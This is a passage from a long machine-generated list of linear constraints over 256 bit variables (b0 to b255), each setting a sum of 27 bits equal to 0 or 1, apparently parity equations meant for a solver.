+b64+b252+b56+b4+b46+b10+b40+b27==0,b157+b141+b175+b135+b181+b129+b187+b117+b2
01+b107+b211+b99+b217+b89+b225+b81+b237+b71+b243+b65+b253+b57+b5+b47+b11+b41+b
28==0,b158+b142+b176+b136+b182+b130+b188+b118+b202+b108+b212+b100+b218+b90+b22
6+b82+b238+b72+b244+b66+b254+b58+b6+b48+b12+b42+b29==1,b159+b143+b177+b137+b18
3+b131+b189+b119+b203+b109+b213+b101+b219+b91+b227+b83+b239+b73+b245+b67+b255+
b59+b7+b49+b13+b43+b30==1,b160+b144+b178+b138+b184+b132+b190+b120+b204+b110+b2
14+b102+b220+b92+b228+b84+b240+b74+b246+b68+b0+b60+b8+b50+b14+b44+b31==0,b161+
b145+b179+b139+b185+b133+b191+b121+b205+b111+b215+b103+b221+b93+b229+b85+b241+
b75+b247+b69+b1+b61+b9+b51+b15+b45+b32==1,b162+b146+b180+b140+b186+b134+b192+b
122+b206+b112+b216+b104+b222+b94+b230+b86+b242+b76+b248+b70+b2+b62+b10+b52+b16
+b46+b33==1,b163+b147+b181+b141+b187+b135+b193+b123+b207+b113+b217+b105+b223+b
95+b231+b87+b243+b77+b249+b71+b3+b63+b11+b53+b17+b47+b34==1,b164+b148+b182+b14
2+b188+b136+b194+b124+b208+b114+b218+b106+b224+b96+b232+b88+b244+b78+b250+b72+
b4+b64+b12+b54+b18+b48+b35==1,b165+b149+b183+b143+b189+b137+b195+b125+b209+b11
5+b219+b107+b225+b97+b233+b89+b245+b79+b251+b73+b5+b65+b13+b55+b19+b49+b36==0,
b166+b150+b184+b144+b190+b138+b196+b126+b210+b116+b220+b108+b226+b98+b234+b90+
b246+b80+b252+b74+b6+b66+b14+b56+b20+b50+b37==0,b167+b151+b185+b145+b191+b139+
b197+b127+b211+b117+b221+b109+b227+b99+b235+b91+b247+b81+b253+b75+b7+b67+b15+b
57+b21+b51+b38==0,b168+b152+b186+b146+b192+b140+b198+b128+b212+b118+b222+b110+
b228+b100+b236+b92+b248+b82+b254+b76+b8+b68+b16+b58+b22+b52+b39==1,b169+b153+b
187+b147+b193+b141+b199+b129+b213+b119+b223+b111+b229+b101+b237+b93+b249+b83+b
255+b77+b9+b69+b17+b59+b23+b53+b40==1,b170+b154+b188+b148+b194+b142+b200+b130+
b214+b120+b224+b112+b230+b102+b238+b94+b250+b84+b0+b78+b10+b70+b18+b60+b24+b54
+b41==0,b171+b155+b189+b149+b195+b143+b201+b131+b215+b121+b225+b113+b231+b103+
b239+b95+b251+b85+b1+b79+b11+b71+b19+b61+b25+b55+b42==1,b172+b156+b190+b150+b1
96+b144+b202+b132+b216+b122+b226+b114+b232+b104+b240+b96+b252+b86+b2+b80+b12+b
72+b20+b62+b26+b56+b43==0,b173+b157+b191+b151+b197+b145+b203+b133+b217+b123+b2
27+b115+b233+b105+b241+b97+b253+b87+b3+b81+b13+b73+b21+b63+b27+b57+b44==1,b174
+b158+b192+b152+b198+b146+b204+b134+b218+b124+b228+b116+b234+b106+b242+b98+b25
4+b88+b4+b82+b14+b74+b22+b64+b28+b58+b45==1,b175+b159+b193+b153+b199+b147+b205
+b135+b219+b125+b229+b117+b235+b107+b243+b99+b255+b89+b5+b83+b15+b75+b23+b65+b
29+b59+b46==0,b176+b160+b194+b154+b200+b148+b206+b136+b220+b126+b230+b118+b236
+b108+b244+b100+b0+b90+b6+b84+b16+b76+b24+b66+b30+b60+b47==0,b177+b161+b195+b1
55+b201+b149+b207+b137+b221+b127+b231+b119+b237+b109+b245+b101+b1+b91+b7+b85+b
17+b77+b25+b67+b31+b61+b48==1,b178+b162+b196+b156+b202+b150+b208+b138+b222+b12
8+b232+b120+b238+b110+b246+b102+b2+b92+b8+b86+b18+b78+b26+b68+b32+b62+b49==1,b
179+b163+b197+b157+b203+b151+b209+b139+b223+b129+b233+b121+b239+b111+b247+b103
+b3+b93+b9+b87+b19+b79+b27+b69+b33+b63+b50==0,b180+b164+b198+b158+b204+b152+b2
10+b140+b224+b130+b234+b122+b240+b112+b248+b104+b4+b94+b10+b88+b20+b80+b28+b70
+b34+b64+b51==1,b181+b165+b199+b159+b205+b153+b211+b141+b225+b131+b235+b123+b2
41+b113+b249+b105+b5+b95+b11+b89+b21+b81+b29+b71+b35+b65+b52==0,b182+b166+b200
+b160+b206+b154+b212+b142+b226+b132+b236+b124+b242+b114+b250+b106+b6+b96+b12+b
90+b22+b82+b30+b72+b36+b66+b53==0,b183+b167+b201+b161+b207+b155+b213+b143+b227
+b133+b237+b125+b243+b115+b251+b107+b7+b97+b13+b91+b23+b83+b31+b73+b37+b67+b54
==0,b184+b168+b202+b162+b208+b156+b214+b144+b228+b134+b238+b126+b244+b116+b252
+b108+b8+b98+b14+b92+b24+b84+b32+b74+b38+b68+b55==0,b185+b169+b203+b163+b209+b
157+b215+b145+b229+b135+b239+b127+b245+b117+b253+b109+b9+b99+b15+b93+b25+b85+b
33+b75+b39+b69+b56==1,b186+b170+b204+b164+b210+b158+b216+b146+b230+b136+b240+b
128+b246+b118+b254+b110+b10+b100+b16+b94+b26+b86+b34+b76+b40+b70+b57==1,b187+b
171+b205+b165+b211+b159+b217+b147+b231+b137+b241+b129+b247+b119+b255+b111+b11+
b101+b17+b95+b27+b87+b35+b77+b41+b71+b58==0,b188+b172+b206+b166+b212+b160+b218
+b148+b232+b138+b242+b130+b248+b120+b0+b112+b12+b102+b18+b96+b28+b88+b36+b78+b
42+b72+b59==1,b189+b173+b207+b167+b213+b161+b219+b149+b233+b139+b243+b131+b249
+b121+b1+b113+b13+b103+b19+b97+b29+b89+b37+b79+b43+b73+b60==1,b190+b174+b208+b
168+b214+b162+b220+b150+b234+b140+b244+b132+b250+b122+b2+b114+b14+b104+b20+b98
+b30+b90+b38+b80+b44+b74+b61==1,b191+b175+b209+b169+b215+b163+b221+b151+b235+b
141+b245+b133+b251+b123+b3+b115+b15+b105+b21+b99+b31+b91+b39+b81+b45+b75+b62==
1,b192+b176+b210+b170+b216+b164+b222+b152+b236+b142+b246+b134+b252+b124+b4+b11
6+b16+b106+b22+b100+b32+b92+b40+b82+b46+b76+b63==0,b193+b177+b211+b171+b217+b1
65+b223+b153+b237+b143+b247+b135+b253+b125+b5+b117+b17+b107+b23+b101+b33+b93+b
41+b83+b47+b77+b64==0,b194+b178+b212+b172+b218+b166+b224+b154+b238+b144+b248+b
136+b254+b126+b6+b118+b18+b108+b24+b102+b34+b94+b42+b84+b48+b78+b65==0,b195+b1
79+b213+b173+b219+b167+b225+b155+b239+b145+b249+b137+b255+b127+b7+b119+b19+b10
9+b25+b103+b35+b95+b43+b85+b49+b79+b66==1,b196+b180+b214+b174+b220+b168+b226+b
156+b240+b146+b250+b138+b0+b128+b8+b120+b20+b110+b26+b104+b36+b96+b44+b86+b50+
b80+b67==0,b197+b181+b215+b175+b221+b169+b227+b157+b241+b147+b251+b139+b1+b129
+b9+b121+b21+b111+b27+b105+b37+b97+b45+b87+b51+b81+b68==0,b198+b182+b216+b176+
b222+b170+b228+b158+b242+b148+b252+b140+b2+b130+b10+b122+b22+b112+b28+b106+b38
+b98+b46+b88+b52+b82+b69==1,b199+b183+b217+b177+b223+b171+b229+b159+b243+b149+
b253+b141+b3+b131+b11+b123+b23+b113+b29+b107+b39+b99+b47+b89+b53+b83+b70==0,b2
00+b184+b218+b178+b224+b172+b230+b160+b244+b150+b254+b142+b4+b132+b12+b124+b24
+b114+b30+b108+b40+b100+b48+b90+b54+b84+b71==1,b201+b185+b219+b179+b225+b173+b
231+b161+b245+b151+b255+b143+b5+b133+b13+b125+b25+b115+b31+b109+b41+b101+b49+b
91+b55+b85+b72==0,b202+b186+b220+b180+b226+b174+b232+b162+b246+b152+b0+b144+b6
+b134+b14+b126+b26+b116+b32+b110+b42+b102+b50+b92+b56+b86+b73==1,b203+b187+b22
1+b181+b227+b175+b233+b163+b247+b153+b1+b145+b7+b135+b15+b127+b27+b117+b33+b11
1+b43+b103+b51+b93+b57+b87+b74==0,b204+b188+b222+b182+b228+b176+b234+b164+b248
+b154+b2+b146+b8+b136+b16+b128+b28+b118+b34+b112+b44+b104+b52+b94+b58+b88+b75=
=0,b205+b189+b223+b183+b229+b177+b235+b165+b249+b155+b3+b147+b9+b137+b17+b129+
b29+b119+b35+b113+b45+b105+b53+b95+b59+b89+b76==1,b206+b190+b224+b184+b230+b17
8+b236+b166+b250+b156+b4+b148+b10+b138+b18+b130+b30+b120+b36+b114+b46+b106+b54
+b96+b60+b90+b77==0,b207+b191+b225+b185+b231+b179+b237+b167+b251+b157+b5+b149+
b11+b139+b19+b131+b31+b121+b37+b115+b47+b107+b55+b97+b61+b91+b78==0,b208+b192+
b226+b186+b232+b180+b238+b168+b252+b158+b6+b150+b12+b140+b20+b132+b32+b122+b38
+b116+b48+b108+b56+b98+b62+b92+b79==0,b209+b193+b227+b187+b233+b181+b239+b169+
b253+b159+b7+b151+b13+b141+b21+b133+b33+b123+b39+b117+b49+b109+b57+b99+b63+b93
+b80==1,b210+b194+b228+b188+b234+b182+b240+b170+b254+b160+b8+b152+b14+b142+b22
+b134+b34+b124+b40+b118+b50+b110+b58+b100+b64+b94+b81==1,b211+b195+b229+b189+b
235+b183+b241+b171+b255+b161+b9+b153+b15+b143+b23+b135+b35+b125+b41+b119+b51+b
111+b59+b101+b65+b95+b82==0,b212+b196+b230+b190+b236+b184+b242+b172+b0+b162+b1
0+b154+b16+b144+b24+b136+b36+b126+b42+b120+b52+b112+b60+b102+b66+b96+b83==1,b2
13+b197+b231+b191+b237+b185+b243+b173+b1+b163+b11+b155+b17+b145+b25+b137+b37+b
127+b43+b121+b53+b113+b61+b103+b67+b97+b84==0,b214+b198+b232+b192+b238+b186+b2
44+b174+b2+b164+b12+b156+b18+b146+b26+b138+b38+b128+b44+b122+b54+b114+b62+b104
+b68+b98+b85==1,b215+b199+b233+b193+b239+b187+b245+b175+b3+b165+b13+b157+b19+b
147+b27+b139+b39+b129+b45+b123+b55+b115+b63+b105+b69+b99+b86==0,b216+b200+b234
+b194+b240+b188+b246+b176+b4+b166+b14+b158+b20+b148+b28+b140+b40+b130+b46+b124
+b56+b116+b64+b106+b70+b100+b87==0,b217+b201+b235+b195+b241+b189+b247+b177+b5+
b167+b15+b159+b21+b149+b29+b141+b41+b131+b47+b125+b57+b117+b65+b107+b71+b101+b
88==0,b218+b202+b236+b196+b242+b190+b248+b178+b6+b168+b16+b160+b22+b150+b30+b1
42+b42+b132+b48+b126+b58+b118+b66+b108+b72+b102+b89==1,b219+b203+b237+b197+b24
3+b191+b249+b179+b7+b169+b17+b161+b23+b151+b31+b143+b43+b133+b49+b127+b59+b119
+b67+b109+b73+b103+b90==1,b220+b204+b238+b198+b244+b192+b250+b180+b8+b170+b18+
b162+b24+b152+b32+b144+b44+b134+b50+b128+b60+b120+b68+b110+b74+b104+b91==1,b22
1+b205+b239+b199+b245+b193+b251+b181+b9+b171+b19+b163+b25+b153+b33+b145+b45+b1
35+b51+b129+b61+b121+b69+b111+b75+b105+b92==1,b222+b206+b240+b200+b246+b194+b2
52+b182+b10+b172+b20+b164+b26+b154+b34+b146+b46+b136+b52+b130+b62+b122+b70+b11
2+b76+b106+b93==1,b223+b207+b241+b201+b247+b195+b253+b183+b11+b173+b21+b165+b2
7+b155+b35+b147+b47+b137+b53+b131+b63+b123+b71+b113+b77+b107+b94==0,b224+b208+
b242+b202+b248+b196+b254+b184+b12+b174+b22+b166+b28+b156+b36+b148+b48+b138+b54
+b132+b64+b124+b72+b114+b78+b108+b95==1,b225+b209+b243+b203+b249+b197+b255+b18
5+b13+b175+b23+b167+b29+b157+b37+b149+b49+b139+b55+b133+b65+b125+b73+b115+b79+
b109+b96==1,b226+b210+b244+b204+b250+b198+b0+b186+b14+b176+b24+b168+b30+b158+b
38+b150+b50+b140+b56+b134+b66+b126+b74+b116+b80+b110+b97==0,b227+b211+b245+b20
5+b251+b199+b1+b187+b15+b177+b25+b169+b31+b159+b39+b151+b51+b141+b57+b135+b67+
b127+b75+b117+b81+b111+b98==1,b228+b212+b246+b206+b252+b200+b2+b188+b16+b178+b
26+b170+b32+b160+b40+b152+b52+b142+b58+b136+b68+b128+b76+b118+b82+b112+b99==1,
b229+b213+b247+b207+b253+b201+b3+b189+b17+b179+b27+b171+b33+b161+b41+b153+b53+
b143+b59+b137+b69+b129+b77+b119+b83+b113+b100==1,b230+b214+b248+b208+b254+b202
+b4+b190+b18+b180+b28+b172+b34+b162+b42+b154+b54+b144+b60+b138+b70+b130+b78+b1
20+b84+b114+b101==1,b231+b215+b249+b209+b255+b203+b5+b191+b19+b181+b29+b173+b3
5+b163+b43+b155+b55+b145+b61+b139+b71+b131+b79+b121+b85+b115+b102==1,b232+b216
+b250+b210+b0+b204+b6+b192+b20+b182+b30+b174+b36+b164+b44+b156+b56+b146+b62+b1
40+b72+b132+b80+b122+b86+b116+b103==1,b233+b217+b251+b211+b1+b205+b7+b193+b21+
b183+b31+b175+b37+b165+b45+b157+b57+b147+b63+b141+b73+b133+b81+b123+b87+b117+b
104==0,b234+b218+b252+b212+b2+b206+b8+b194+b22+b184+b32+b176+b38+b166+b46+b158
+b58+b148+b64+b142+b74+b134+b82+b124+b88+b118+b105==1,b235+b219+b253+b213+b3+b
207+b9+b195+b23+b185+b33+b177+b39+b167+b47+b159+b59+b149+b65+b143+b75+b135+b83
+b125+b89+b119+b106==1,b236+b220+b254+b214+b4+b208+b10+b196+b24+b186+b34+b178+
b40+b168+b48+b160+b60+b150+b66+b144+b76+b136+b84+b126+b90+b120+b107==1,b237+b2
21+b255+b215+b5+b209+b11+b197+b25+b187+b35+b179+b41+b169+b49+b161+b61+b151+b67
+b145+b77+b137+b85+b127+b91+b121+b108==0,b238+b222+b0+b216+b6+b210+b12+b198+b2
6+b188+b36+b180+b42+b170+b50+b162+b62+b152+b68+b146+b78+b138+b86+b128+b92+b122
+b109==0,b239+b223+b1+b217+b7+b211+b13+b199+b27+b189+b37+b181+b43+b171+b51+b16
3+b63+b153+b69+b147+b79+b139+b87+b129+b93+b123+b110==0,b240+b224+b2+b218+b8+b2
12+b14+b200+b28+b190+b38+b182+b44+b172+b52+b164+b64+b154+b70+b148+b80+b140+b88
+b130+b94+b124+b111==0,b241+b225+b3+b219+b9+b213+b15+b201+b29+b191+b39+b183+b4
5+b173+b53+b165+b65+b155+b71+b149+b81+b141+b89+b131+b95+b125+b112==0,b242+b226
+b4+b220+b10+b214+b16+b202+b30+b192+b40+b184+b46+b174+b54+b166+b66+b156+b72+b1
50+b82+b142+b90+b132+b96+b126+b113==0,b243+b227+b5+b221+b11+b215+b17+b203+b31+
b193+b41+b185+b47+b175+b55+b167+b67+b157+b73+b151+b83+b143+b91+b133+b97+b127+b
114==0,b244+b228+b6+b222+b12+b216+b18+b204+b32+b194+b42+b186+b48+b176+b56+b168
+b68+b158+b74+b152+b84+b144+b92+b134+b98+b128+b115==1,b245+b229+b7+b223+b13+b2
17+b19+b205+b33+b195+b43+b187+b49+b177+b57+b169+b69+b159+b75+b153+b85+b145+b93
+b135+b99+b129+b116==1,b246+b230+b8+b224+b14+b218+b20+b206+b34+b196+b44+b188+b
50+b178+b58+b170+b70+b160+b76+b154+b86+b146+b94+b136+b100+b130+b117==0,b247+b2
31+b9+b225+b15+b219+b21+b207+b35+b197+b45+b189+b51+b179+b59+b171+b71+b161+b77+
b155+b87+b147+b95+b137+b101+b131+b118==1,b248+b232+b10+b226+b16+b220+b22+b208+
b36+b198+b46+b190+b52+b180+b60+b172+b72+b162+b78+b156+b88+b148+b96+b138+b102+b
132+b119==1,b249+b233+b11+b227+b17+b221+b23+b209+b37+b199+b47+b191+b53+b181+b6
1+b173+b73+b163+b79+b157+b89+b149+b97+b139+b103+b133+b120==0,b250+b234+b12+b22
8+b18+b222+b24+b210+b38+b200+b48+b192+b54+b182+b62+b174+b74+b164+b80+b158+b90+
b150+b98+b140+b104+b134+b121==0,b251+b235+b13+b229+b19+b223+b25+b211+b39+b201+
b49+b193+b55+b183+b63+b175+b75+b165+b81+b159+b91+b151+b99+b141+b105+b135+b122=
=0,b252+b236+b14+b230+b20+b224+b26+b212+b40+b202+b50+b194+b56+b184+b64+b176+b7
6+b166+b82+b160+b92+b152+b100+b142+b106+b136+b123==1,b253+b237+b15+b231+b21+b2
25+b27+b213+b41+b203+b51+b195+b57+b185+b65+b177+b77+b167+b83+b161+b93+b153+b10
1+b143+b107+b137+b124==1,b254+b238+b16+b232+b22+b226+b28+b214+b42+b204+b52+b19
6+b58+b186+b66+b178+b78+b168+b84+b162+b94+b154+b102+b144+b108+b138+b125==0,b25
5+b239+b17+b233+b23+b227+b29+b215+b43+b205+b53+b197+b59+b187+b67+b179+b79+b169
+b85+b163+b95+b155+b103+b145+b109+b139+b126==0,b0+b240+b18+b234+b24+b228+b30+b
216+b44+b206+b54+b198+b60+b188+b68+b180+b80+b170+b86+b164+b96+b156+b104+b146+b
110+b140+b127==1,b1+b241+b19+b235+b25+b229+b31+b217+b45+b207+b55+b199+b61+b189
+b69+b181+b81+b171+b87+b165+b97+b157+b105+b147+b111+b141+b128==1,b2+b242+b20+b
236+b26+b230+b32+b218+b46+b208+b56+b200+b62+b190+b70+b182+b82+b172+b88+b166+b9
8+b158+b106+b148+b112+b142+b129==0,b3+b243+b21+b237+b27+b231+b33+b219+b47+b209
+b57+b201+b63+b191+b71+b183+b83+b173+b89+b167+b99+b159+b107+b149+b113+b143+b13
0==0,b4+b244+b22+b238+b28+b232+b34+b220+b48+b210+b58+b202+b64+b192+b72+b184+b8
4+b174+b90+b168+b100+b160+b108+b150+b114+b144+b131==0,b5+b245+b23+b239+b29+b23
3+b35+b221+b49+b211+b59+b203+b65+b193+b73+b185+b85+b175+b91+b169+b101+b161+b10
9+b151+b115+b145+b132==1,b6+b246+b24+b240+b30+b234+b36+b222+b50+b212+b60+b204+
b66+b194+b74+b186+b86+b176+b92+b170+b102+b162+b110+b152+b116+b146+b133==0,b7+b
247+b25+b241+b31+b235+b37+b223+b51+b213+b61+b205+b67+b195+b75+b187+b87+b177+b9
3+b171+b103+b163+b111+b153+b117+b147+b134==0,b8+b248+b26+b242+b32+b236+b38+b22
4+b52+b214+b62+b206+b68+b196+b76+b188+b88+b178+b94+b172+b104+b164+b112+b154+b1
18+b148+b135==0,b9+b249+b27+b243+b33+b237+b39+b225+b53+b215+b63+b207+b69+b197+
b77+b189+b89+b179+b95+b173+b105+b165+b113+b155+b119+b149+b136==0,b10+b250+b28+
b244+b34+b238+b40+b226+b54+b216+b64+b208+b70+b198+b78+b190+b90+b180+b96+b174+b
106+b166+b114+b156+b120+b150+b137==1,b11+b251+b29+b245+b35+b239+b41+b227+b55+b
217+b65+b209+b71+b199+b79+b191+b91+b181+b97+b175+b107+b167+b115+b157+b121+b151
+b138==1,b12+b252+b30+b246+b36+b240+b42+b228+b56+b218+b66+b210+b72+b200+b80+b1
92+b92+b182+b98+b176+b108+b168+b116+b158+b122+b152+b139==0,b13+b253+b31+b247+b
37+b241+b43+b229+b57+b219+b67+b211+b73+b201+b81+b193+b93+b183+b99+b177+b109+b1
69+b117+b159+b123+b153+b140==0,b14+b254+b32+b248+b38+b242+b44+b230+b58+b220+b6
8+b212+b74+b202+b82+b194+b94+b184+b100+b178+b110+b170+b118+b160+b124+b154+b141
==1,b15+b255+b33+b249+b39+b243+b45+b231+b59+b221+b69+b213+b75+b203+b83+b195+b9
5+b185+b101+b179+b111+b171+b119+b161+b125+b155+b142==0,b16+b0+b34+b250+b40+b24
4+b46+b232+b60+b222+b70+b214+b76+b204+b84+b196+b96+b186+b102+b180+b112+b172+b1
20+b162+b126+b156+b143==0,b17+b1+b35+b251+b41+b245+b47+b233+b61+b223+b71+b215+
b77+b205+b85+b197+b97+b187+b103+b181+b113+b173+b121+b163+b127+b157+b144==0,b18
+b2+b36+b252+b42+b246+b48+b234+b62+b224+b72+b216+b78+b206+b86+b198+b98+b188+b1
04+b182+b114+b174+b122+b164+b128+b158+b145==1,b19+b3+b37+b253+b43+b247+b49+b23
5+b63+b225+b73+b217+b79+b207+b87+b199+b99+b189+b105+b183+b115+b175+b123+b165+b
129+b159+b146==0,b20+b4+b38+b254+b44+b248+b50+b236+b64+b226+b74+b218+b80+b208+
b88+b200+b100+b190+b106+b184+b116+b176+b124+b166+b130+b160+b147==1,b21+b5+b39+
b255+b45+b249+b51+b237+b65+b227+b75+b219+b81+b209+b89+b201+b101+b191+b107+b185
+b117+b177+b125+b167+b131+b161+b148==1,b22+b6+b40+b0+b46+b250+b52+b238+b66+b22
8+b76+b220+b82+b210+b90+b202+b102+b192+b108+b186+b118+b178+b126+b168+b132+b162
+b149==0,b23+b7+b41+b1+b47+b251+b53+b239+b67+b229+b77+b221+b83+b211+b91+b203+b
103+b193+b109+b187+b119+b179+b127+b169+b133+b163+b150==1,b24+b8+b42+b2+b48+b25
2+b54+b240+b68+b230+b78+b222+b84+b212+b92+b204+b104+b194+b110+b188+b120+b180+b
128+b170+b134+b164+b151==0,b25+b9+b43+b3+b49+b253+b55+b241+b69+b231+b79+b223+b
85+b213+b93+b205+b105+b195+b111+b189+b121+b181+b129+b171+b135+b165+b152==0,b26
+b10+b44+b4+b50+b254+b56+b242+b70+b232+b80+b224+b86+b214+b94+b206+b106+b196+b1
12+b190+b122+b182+b130+b172+b136+b166+b153==1,b27+b11+b45+b5+b51+b255+b57+b243
+b71+b233+b81+b225+b87+b215+b95+b207+b107+b197+b113+b191+b123+b183+b131+b173+b
137+b167+b154==0,b28+b12+b46+b6+b52+b0+b58+b244+b72+b234+b82+b226+b88+b216+b96
+b208+b108+b198+b114+b192+b124+b184+b132+b174+b138+b168+b155==1,b29+b13+b47+b7
+b53+b1+b59+b245+b73+b235+b83+b227+b89+b217+b97+b209+b109+b199+b115+b193+b125+
b185+b133+b175+b139+b169+b156==0,b30+b14+b48+b8+b54+b2+b60+b246+b74+b236+b84+b
228+b90+b218+b98+b210+b110+b200+b116+b194+b126+b186+b134+b176+b140+b170+b157==
1,b31+b15+b49+b9+b55+b3+b61+b247+b75+b237+b85+b229+b91+b219+b99+b211+b111+b201
+b117+b195+b127+b187+b135+b177+b141+b171+b158==1,b32+b16+b50+b10+b56+b4+b62+b2
48+b76+b238+b86+b230+b92+b220+b100+b212+b112+b202+b118+b196+b128+b188+b136+b17
8+b142+b172+b159==0,b33+b17+b51+b11+b57+b5+b63+b249+b77+b239+b87+b231+b93+b221
+b101+b213+b113+b203+b119+b197+b129+b189+b137+b179+b143+b173+b160==1,b34+b18+b
52+b12+b58+b6+b64+b250+b78+b240+b88+b232+b94+b222+b102+b214+b114+b204+b120+b19
8+b130+b190+b138+b180+b144+b174+b161==1,b35+b19+b53+b13+b59+b7+b65+b251+b79+b2
41+b89+b233+b95+b223+b103+b215+b115+b205+b121+b199+b131+b191+b139+b181+b145+b1
75+b162==0,b36+b20+b54+b14+b60+b8+b66+b252+b80+b242+b90+b234+b96+b224+b104+b21
6+b116+b206+b122+b200+b132+b192+b140+b182+b146+b176+b163==0,b37+b21+b55+b15+b6
1+b9+b67+b253+b81+b243+b91+b235+b97+b225+b105+b217+b117+b207+b123+b201+b133+b1
93+b141+b183+b147+b177+b164==0,b38+b22+b56+b16+b62+b10+b68+b254+b82+b244+b92+b
236+b98+b226+b106+b218+b118+b208+b124+b202+b134+b194+b142+b184+b148+b178+b165=
=1,b39+b23+b57+b17+b63+b11+b69+b255+b83+b245+b93+b237+b99+b227+b107+b219+b119+
b209+b125+b203+b135+b195+b143+b185+b149+b179+b166==1,b40+b24+b58+b18+b64+b12+b
70+b0+b84+b246+b94+b238+b100+b228+b108+b220+b120+b210+b126+b204+b136+b196+b144
+b186+b150+b180+b167==0,b41+b25+b59+b19+b65+b13+b71+b1+b85+b247+b95+b239+b101+
b229+b109+b221+b121+b211+b127+b205+b137+b197+b145+b187+b151+b181+b168==0,b42+b
26+b60+b20+b66+b14+b72+b2+b86+b248+b96+b240+b102+b230+b110+b222+b122+b212+b128
+b206+b138+b198+b146+b188+b152+b182+b169==0,b43+b27+b61+b21+b67+b15+b73+b3+b87
+b249+b97+b241+b103+b231+b111+b223+b123+b213+b129+b207+b139+b199+b147+b189+b15
3+b183+b170==0,b44+b28+b62+b22+b68+b16+b74+b4+b88+b250+b98+b242+b104+b232+b112
+b224+b124+b214+b130+b208+b140+b200+b148+b190+b154+b184+b171==0,b45+b29+b63+b2
3+b69+b17+b75+b5+b89+b251+b99+b243+b105+b233+b113+b225+b125+b215+b131+b209+b14
1+b201+b149+b191+b155+b185+b172==1,b46+b30+b64+b24+b70+b18+b76+b6+b90+b252+b10
0+b244+b106+b234+b114+b226+b126+b216+b132+b210+b142+b202+b150+b192+b156+b186+b
173==1,b47+b31+b65+b25+b71+b19+b77+b7+b91+b253+b101+b245+b107+b235+b115+b227+b
127+b217+b133+b211+b143+b203+b151+b193+b157+b187+b174==1,b48+b32+b66+b26+b72+b
20+b78+b8+b92+b254+b102+b246+b108+b236+b116+b228+b128+b218+b134+b212+b144+b204
+b152+b194+b158+b188+b175==1,b49+b33+b67+b27+b73+b21+b79+b9+b93+b255+b103+b247
+b109+b237+b117+b229+b129+b219+b135+b213+b145+b205+b153+b195+b159+b189+b176==1
,b50+b34+b68+b28+b74+b22+b80+b10+b94+b0+b104+b248+b110+b238+b118+b230+b130+b22
0+b136+b214+b146+b206+b154+b196+b160+b190+b177==1,b51+b35+b69+b29+b75+b23+b81+
b11+b95+b1+b105+b249+b111+b239+b119+b231+b131+b221+b137+b215+b147+b207+b155+b1
97+b161+b191+b178==0,b52+b36+b70+b30+b76+b24+b82+b12+b96+b2+b106+b250+b112+b24
0+b120+b232+b132+b222+b138+b216+b148+b208+b156+b198+b162+b192+b179==0,b53+b37+
b71+b31+b77+b25+b83+b13+b97+b3+b107+b251+b113+b241+b121+b233+b133+b223+b139+b2
17+b149+b209+b157+b199+b163+b193+b180==1,b54+b38+b72+b32+b78+b26+b84+b14+b98+b
4+b108+b252+b114+b242+b122+b234+b134+b224+b140+b218+b150+b210+b158+b200+b164+b
194+b181==1,b55+b39+b73+b33+b79+b27+b85+b15+b99+b5+b109+b253+b115+b243+b123+b2
35+b135+b225+b141+b219+b151+b211+b159+b201+b165+b195+b182==1,b56+b40+b74+b34+b
80+b28+b86+b16+b100+b6+b110+b254+b116+b244+b124+b236+b136+b226+b142+b220+b152+
b212+b160+b202+b166+b196+b183==1,b57+b41+b75+b35+b81+b29+b87+b17+b101+b7+b111+
b255+b117+b245+b125+b237+b137+b227+b143+b221+b153+b213+b161+b203+b167+b197+b18
4==0,b58+b42+b76+b36+b82+b30+b88+b18+b102+b8+b112+b0+b118+b246+b126+b238+b138+
b228+b144+b222+b154+b214+b162+b204+b168+b198+b185==0,b59+b43+b77+b37+b83+b31+b
89+b19+b103+b9+b113+b1+b119+b247+b127+b239+b139+b229+b145+b223+b155+b215+b163+
b205+b169+b199+b186==1,b60+b44+b78+b38+b84+b32+b90+b20+b104+b10+b114+b2+b120+b
248+b128+b240+b140+b230+b146+b224+b156+b216+b164+b206+b170+b200+b187==1,b61+b4
5+b79+b39+b85+b33+b91+b21+b105+b11+b115+b3+b121+b249+b129+b241+b141+b231+b147+
b225+b157+b217+b165+b207+b171+b201+b188==0,b62+b46+b80+b40+b86+b34+b92+b22+b10
6+b12+b116+b4+b122+b250+b130+b242+b142+b232+b148+b226+b158+b218+b166+b208+b172
+b202+b189==0,b63+b47+b81+b41+b87+b35+b93+b23+b107+b13+b117+b5+b123+b251+b131+
b243+b143+b233+b149+b227+b159+b219+b167+b209+b173+b203+b190==0,b64+b48+b82+b42
+b88+b36+b94+b24+b108+b14+b118+b6+b124+b252+b132+b244+b144+b234+b150+b228+b160
+b220+b168+b210+b174+b204+b191==0,b65+b49+b83+b43+b89+b37+b95+b25+b109+b15+b11
9+b7+b125+b253+b133+b245+b145+b235+b151+b229+b161+b221+b169+b211+b175+b205+b19
2==0,b66+b50+b84+b44+b90+b38+b96+b26+b110+b16+b120+b8+b126+b254+b134+b246+b146
+b236+b152+b230+b162+b222+b170+b212+b176+b206+b193==1,b67+b51+b85+b45+b91+b39+
b97+b27+b111+b17+b121+b9+b127+b255+b135+b247+b147+b237+b153+b231+b163+b223+b17
1+b213+b177+b207+b194==1,b68+b52+b86+b46+b92+b40+b98+b28+b112+b18+b122+b10+b12
8+b0+b136+b248+b148+b238+b154+b232+b164+b224+b172+b214+b178+b208+b195==1,b69+b
53+b87+b47+b93+b41+b99+b29+b113+b19+b123+b11+b129+b1+b137+b249+b149+b239+b155+
b233+b165+b225+b173+b215+b179+b209+b196==1,b70+b54+b88+b48+b94+b42+b100+b30+b1
14+b20+b124+b12+b130+b2+b138+b250+b150+b240+b156+b234+b166+b226+b174+b216+b180
+b210+b197==0,b71+b55+b89+b49+b95+b43+b101+b31+b115+b21+b125+b13+b131+b3+b139+
b251+b151+b241+b157+b235+b167+b227+b175+b217+b181+b211+b198==1,b72+b56+b90+b50
+b96+b44+b102+b32+b116+b22+b126+b14+b132+b4+b140+b252+b152+b242+b158+b236+b168
+b228+b176+b218+b182+b212+b199==0,b73+b57+b91+b51+b97+b45+b103+b33+b117+b23+b1
27+b15+b133+b5+b141+b253+b153+b243+b159+b237+b169+b229+b177+b219+b183+b213+b20
0==0,b74+b58+b92+b52+b98+b46+b104+b34+b118+b24+b128+b16+b134+b6+b142+b254+b154
+b244+b160+b238+b170+b230+b178+b220+b184+b214+b201==0,b75+b59+b93+b53+b99+b47+
b105+b35+b119+b25+b129+b17+b135+b7+b143+b255+b155+b245+b161+b239+b171+b231+b17
9+b221+b185+b215+b202==0,b76+b60+b94+b54+b100+b48+b106+b36+b120+b26+b130+b18+b
